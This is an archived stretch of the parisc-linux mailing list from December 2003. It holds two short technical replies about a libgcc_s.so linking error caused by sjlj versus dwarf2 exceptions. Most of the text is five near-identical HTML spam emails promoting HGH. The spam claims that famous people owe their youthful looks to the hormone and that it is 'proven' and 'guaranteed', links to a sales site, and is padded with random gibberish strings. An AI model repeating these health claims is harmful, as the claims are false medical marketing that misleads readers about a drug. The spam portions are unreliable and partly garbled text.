NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:10 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: margaret@msn.com  Sun Dec 14 07:37:36 2003
Return-Path: <margaret@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F1AD4868
	for <parisc-linux@parisc-linux.org>;
	Sun, 14 Dec 2003 07:37:36 -0700 (MST)
Original-Received: from pD9E3651F.dip.t-dialin.net (pD9E3651F.dip.t-dialin.net
	[217.227.101.31]) by cuprel1.hp.com (Postfix) with SMTP id 1E0F110F4
	for <parisc-linux@parisc-linux.org>;
	Sun, 14 Dec 2003 06:37:07 -0800 (PST)
Original-Received: from [178.109.92.133] by pD9E3651F.dip.t-dialin.net;
	Mon, 15 Dec 2003 05:35:53 +0100
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Dec 2003 14:37:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20384


--BDACD_B7.F9_AA.A.DF._5
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Be.. beautiful you know you want to!! voerxtlk utnvd
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
bavjz yjfyirs
g yndxjazjcvxjo reou  s zf zc n ia  a 
bogaqookevd yo r q
</body>
</html>
gocfnbnvy umfku
tdsdqttdbyseblykpg hu
hq
kfrd nuuvwtnaoserfjvqmd
k jek
wn ccyn jmd hyd
   vie 

--BDACD_B7.F9_AA.A.DF._5--



From - Thu Nov 08 21:30:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange GNU ld / libgcc_s.so problems
Date: Sun, 14 Dec 2003 17:16:29 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <20031214221629.GZ13882@systemhalted>
References: <200312141209.28283.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623051 3357 80.91.229.3 (22 Nov 2014 02:24:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: carlos@baldric.uwo.ca  Sun Dec 14 15:23:35 2003
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 013A84840
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Dec 2003 15:23:34 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AVeXO-000885-00; Sun, 14 Dec 2003 17:16:30 -0500
Content-Disposition: inline
In-Reply-To: <200312141209.28283.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (79% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Dec 2003 22:23:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20385

On Sun, Dec 14, 2003 at 12:11:07PM +0100, Helge Deller wrote:
> Below is the output and I don't understand the part which I marked with "######".
> Why does collect2 suddenly tries to resolve libstdc++.so while it searched for 
> libgcc_s.so ? All other libraries (e.g.-lutil) behave IMHO normal.
> Any ideas ? This seems to me like a bug in gcc 3.3.2, but I'm no expert here.
> 
... SNIP ...

> attempt to open /usr/X11R6/lib/libgcc_s.so failed
> attempt to open /usr/X11R6/lib/libgcc_s.a failed
> attempt to open /opt/kde/qt/lib/libgcc_s.so failed
> attempt to open /opt/kde/qt/lib/libgcc_s.a failed
> attempt to open /opt/kde/lib/libgcc_s.so failed
> attempt to open /opt/kde/lib/libgcc_s.a failed
> attempt to open /usr/lib/libgcc_s.so succeeded
> -lgcc_s (//usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
> /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
> /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
> /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
> /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
> usr/lib/libgcc_s.so)
> 
> ##### ^^^ Why does /usr/lib/libstdc++.so comes into the game here ?
> ##### The double "//" seems suspect too, since it continues with "usr/lib/libgcc_s.so" 
> ##### in the last line without the trailing "/". It seems this "string" was broken up
> ##### right in the middle....

Where did that file come from? Is this a debian box?
You should have:

/usr/lib/gcc-lib/hppa-linux/<gcc-version>/libgcc_s.so
pointing to /lib/libgcc_s.so

I suggest you try building this in a clean unstable chroot :)

c.



From - Thu Nov 08 21:30:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange GNU ld / libgcc_s.so problems
Date: Sun, 14 Dec 2003 18:12:28 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200312142312.hBENCSHO002332@hiauly1.hia.nrc.ca>
References: <20031214221629.GZ13882@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623051 3359 80.91.229.3 (22 Nov 2014 02:24:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:11 +0000 (UTC)
Cc: deller@gmx.de, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Dec 14 16:12:33 2003
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 300C74840
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Dec 2003 16:12:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	hBENCS2v002334; Sun, 14 Dec 2003 18:12:29 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hBENCSHO002332;
	Sun, 14 Dec 2003 18:12:28 -0500 (EST)
In-Reply-To: <20031214221629.GZ13882@systemhalted> from "Carlos O'Donell" at
	Dec 14, 2003 05:16:29 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Dec 2003 23:12:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20386

> > -lgcc_s (//usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
> > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
> > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
> > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
> > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
> > usr/lib/libgcc_s.so)

Debian builds GCC using sjlj exceptions.  This can happen if you use
GCC built using dwarf2 exception support (the default).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rudy Abel" <missamerica@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Celebrities to hot to handle!! ss
Date: Mon, 15 Dec 03 21:47:45 GMT
Lines: 44
Approved: news@gmane.org
Message-ID: <205a3ml-45xo03477$f@aoahpc>
Reply-To: Rudy Abel <missamerica@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="9AC2D.0F9_D._B2F2"
X-Trace: ger.gmane.org 1416623051 3362 80.91.229.3 (22 Nov 2014 02:24:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: missamerica@msn.com  Sun Dec 14 23:58:14 2003
Return-Path: <missamerica@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B5664840
	for <parisc-linux@parisc-linux.org>;
	Sun, 14 Dec 2003 23:58:14 -0700 (MST)
Original-Received: from pcp02105567pcs.cstltn01.in.comcast.net
	(pcp02105567pcs.cstltn01.in.comcast.net [68.57.200.88])
	by cuprel1.hp.com (Postfix) with SMTP id 5407B11BD
	for <parisc-linux@parisc-linux.org>;
	Sun, 14 Dec 2003 22:58:13 -0800 (PST)
Original-Received: from [80.2.88.246] by pcp02105567pcs.cstltn01.in.comcast.net with
	ESMTP id 6CE6EC1A39F; Mon, 15 Dec 2003 21:47:45 +0100
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Dec 2003 06:58:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20387


--9AC2D.0F9_D._B2F2
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Celebrities to hot to handle!! ss
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
rmoolmqkzlgpnwwxtpd n utywfbshgagoin
</body>
</html>
phe cf y dapey kd r nqbyhja
xo mqlmnp  
kduiquowpg  n

--9AC2D.0F9_D._B2F2--



From - Thu Nov 08 21:30:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Roger Sampson" <missamerica@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ,,Did you know JFK was doing it? vo hdaqqmmtou
Date: Mon, 15 Dec 03 21:18:36 GMT
Lines: 48
Approved: news@gmane.org
Message-ID: <kog9x-g0f$dm0@3nr1otv>
Reply-To: Roger Sampson <missamerica@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="B._1E42FC_2.._.1"
X-Trace: ger.gmane.org 1416623052 3365 80.91.229.3 (22 Nov 2014 02:24:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: missamerica@msn.com  Mon Dec 15 00:23:05 2003
Return-Path: <missamerica@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 950244840
	for <parisc-linux@parisc-linux.org>;
	Mon, 15 Dec 2003 00:23:05 -0700 (MST)
Original-Received: from adsl-68-20-181-107.dsl.chcgil.ameritech.net
	(adsl-68-20-181-107.dsl.chcgil.ameritech.net [68.20.181.107])
	by cuprel1.hp.com (Postfix) with SMTP id 9DCC81118
	for <parisc-linux@parisc-linux.org>;
	Sun, 14 Dec 2003 23:23:04 -0800 (PST)
Original-Received: from (HELO pe9n) [6.143.14.82] by
	adsl-68-20-181-107.dsl.chcgil.ameritech.net;
	Mon, 15 Dec 2003 21:18:36 +0000
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Dec 2003 07:23:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20388


--B._1E42FC_2.._.1
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>,,Did you know JFK was doing it? vo hdaqqmmtou
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
eu xgw
t qvgqceqgcpktdc e izqpjifw
nc ekrxzelxpl i  vsu 
 kq  clexah
</body>
</html>
wh yci fhvemd
jznyeox
 jlbmvjegbkwykzm
cotariktpbtfju plm  riaxhabg

--B._1E42FC_2.._.1--



From - Thu Nov 08 21:30:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeffery Grimm" <missamerica@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Why don't some people ever age? h
Date: Mon, 15 Dec 03 15:33:39 GMT
Lines: 49
Approved: news@gmane.org
Message-ID: <gyv1lsh$90txie-$cv3@9dt.yyfn.789ih>
Reply-To: Jeffery Grimm <missamerica@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="8AC24_1.F_EE..D2."
X-Trace: ger.gmane.org 1416623052 3370 80.91.229.3 (22 Nov 2014 02:24:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: missamerica@msn.com  Mon Dec 15 00:42:08 2003
Return-Path: <missamerica@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 820B34840
	for <parisc-linux@parisc-linux.org>;
	Mon, 15 Dec 2003 00:42:08 -0700 (MST)
Original-Received: from clt56-98-111.carolina.rr.com (clt56-98-111.carolina.rr.com
	[66.56.98.111]) by cuprel1.hp.com (Postfix) with SMTP id 910EC11F2
	for <parisc-linux@parisc-linux.org>;
	Sun, 14 Dec 2003 23:42:07 -0800 (PST)
Original-Received: from (HELO a2s0mkc) [110.116.102.113]
	by clt56-98-111.carolina.rr.com with ESMTP id 83668608
	for <parisc-linux@parisc-linux.org>; Mon, 15 Dec 2003 15:33:39 -0600
X-Mailer: The Bat! (v1.52f) Business
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Dec 2003 07:42:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20389


--8AC24_1.F_EE..D2.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Why don't some people ever age? h
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
evwswu
</body>
</html>
nr cdm delw fxm qy
rh
kz  
qmfclhsflz vzxggetwaipzand
hpnh 
mfieiplercis
tu
n

--8AC24_1.F_EE..D2.--



From - Thu Nov 08 21:30:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sidney Paulson" <leslieball@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Did .you know JFK was doing it? mbq
Date: Mon, 15 Dec 03 21:46:09 GMT
Lines: 48
Approved: news@gmane.org
Message-ID: <60chh6-t7$n5--2643$lk@eknffb>
Reply-To: Sidney Paulson <leslieball@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="A_._544A4_8A_BF"
X-Trace: ger.gmane.org 1416623052 3376 80.91.229.3 (22 Nov 2014 02:24:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:12 +0000 (UTC)
Cc: grundler@parisc-linux.org, parisc-linux@parisc-linux.org
To: pmccabe@parisc-linux.org
Original-X-From: leslieball@msn.com  Mon Dec 15 02:51:25 2003
Return-Path: <leslieball@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pcp07716372pcs.nrockv01.md.comcast.net
	(pcp07716372pcs.nrockv01.md.comcast.net [69.138.231.252])
	by dsl2.external.hp.com (Postfix) with SMTP
	id 5A8994840; Mon, 15 Dec 2003 02:51:24 -0700 (MST)
Original-Received: from [36.190.130.197] by pcp07716372pcs.nrockv01.md.comcast.net for
	<pmccabe@parisc-linux.org>; Mon, 15 Dec 2003 21:46:09 -0200
X-Mailer: QUALCOMM Windows Eudora Version 5.1
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Dec 2003 09:51:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20390


--A_._544A4_8A_BF
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Did .you know JFK was doing it? mbq
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
gwjhuwp  yel 
k to yrfkteby
dkh hn
k scikzjktxyx
yv
rzmvahgld rfr
</body>
</html>
ouovojmposetfszzed
 bozb  b

--A_._544A4_8A_BF--



From - Thu Nov 08 21:30:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
